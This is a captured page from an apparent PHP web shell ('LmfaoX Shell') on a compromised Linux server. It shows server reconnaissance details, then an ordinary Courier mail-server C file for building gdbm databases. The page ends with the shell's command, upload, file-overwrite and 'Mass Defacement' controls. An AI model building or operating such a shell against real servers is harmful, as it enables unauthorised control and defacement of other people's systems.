ShellBanner
System:Linux MiraNet 3.0.0-14-generic-pae #23-Ubuntu SMP Mon Nov 21 22:07:10 UTC 2011 i686
Software:Apache. PHP/5.3.6-13ubuntu3.10
ID:uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
Safe Mode:OFF
Open_Basedir:OFF
Freespace:23.66 GB of 70.42 GB (33.61%)
MySQL: ON MSSQL: OFF Oracle: OFF PostgreSQL: OFF Curl: OFF Sockets: ON Fetch: OFF Wget: ON Perl: ON
Disabled Functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,

/ usr/ src/ courier-0.66.1/ makedat/ - drwxrwxrwx

Directory:
Viewing file:     makedatprog.c (1.82 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/*
** Copyright 1998 - 1999 Double Precision, Inc.
** See COPYING for distribution information.
*/

#if    HAVE_CONFIG_H
#include    "config.h"
#endif
#if    HAVE_UNISTD_H
#include    <unistd.h>
#endif
#include    <stdlib.h>
#include    <string.h>
#include    <stdio.h>
#include    "dbobj.h"


static int addgdbm(char *p, struct dbobj *o)
{
char    *key, *val;

    if (!*p || *p == '#')
        return (0);

    key=p;
    if ( (val=strchr(p, '\t')) == 0)    val="";
    else    *val++=0;

    if (*key)
    {
        if (!*val)    val="1";
        if (dbobj_store(o, key, strlen(key), val, strlen(val), "I"))
        {
            fprintf(stderr, "Cannot store record for %s - duplicate or out of disk space.\n", key);
            return (-1);
        }
    }
    return (0);
}

static int buildgdbm(FILE *i, struct dbobj *o)
{
char    *buf=0;
size_t    bufsize, buflen;

    bufsize=0;
    buflen=0;

    for (;;)
    {
    int    c;

        buflen=0;
        for (;;)
        {
            if (buflen >= bufsize)
            {
                bufsize += 256;
                buf= buf ? realloc(buf, bufsize):
                    malloc(bufsize);
                if (!buf)
                {
                    perror("malloc");
                    return (-1);
                }
            }
            c=getc(i);
            if (c == '\n' || c == EOF)    break;
            buf[buflen++]=c;
        }
        buf[buflen]=0;
        if (c == EOF)    return (-1);

        if (strcmp(buf, ".") == 0)    return (0);
        if (addgdbm(buf, o))    return (-1);
    }
}

int main(int argc, char **argv)
{
FILE    *i;
struct    dbobj    obj;

    if (argc < 4)
    {
        fprintf(stderr, "Usage: %s textfile tmpfile gdbmfile\n",
            argv[0]);
        exit(1);
    }
    if (strcmp(argv[1], "-") == 0)
        i= stdin;
    else
    {
        if ((i=fopen(argv[1], "r")) == 0)
        {
            perror(argv[1]);
            exit(1);
        }
    }

    dbobj_init(&obj);

    if (dbobj_open(&obj, argv[2], "N"))
    {
        fprintf(stderr, "Cannot create %s\n", argv[2]);
        exit (1);
    }

    if (buildgdbm(i, &obj))
    {
        dbobj_close(&obj);
        unlink(argv[2]);
        exit (1);
    }

    dbobj_close(&obj);

    if (rename(argv[2], argv[3]))
    {
        perror("rename");
        unlink(argv[2]);
        exit(1);
    }
    exit(0);
    return (0);
}
Command:
Quick Commands:
Upload:
[OK] Max size: 100MB
PHP Filesystem: <@ Ú
Search File:
regexp
Create File:
Overwrite [OK]
View File:
Mass Defacement:
[+] Main Directory: [+] Defacement Url:
LmfaoX Shell - Private Build [BETA] - v0.1 -; Generated: 0.2824 seconds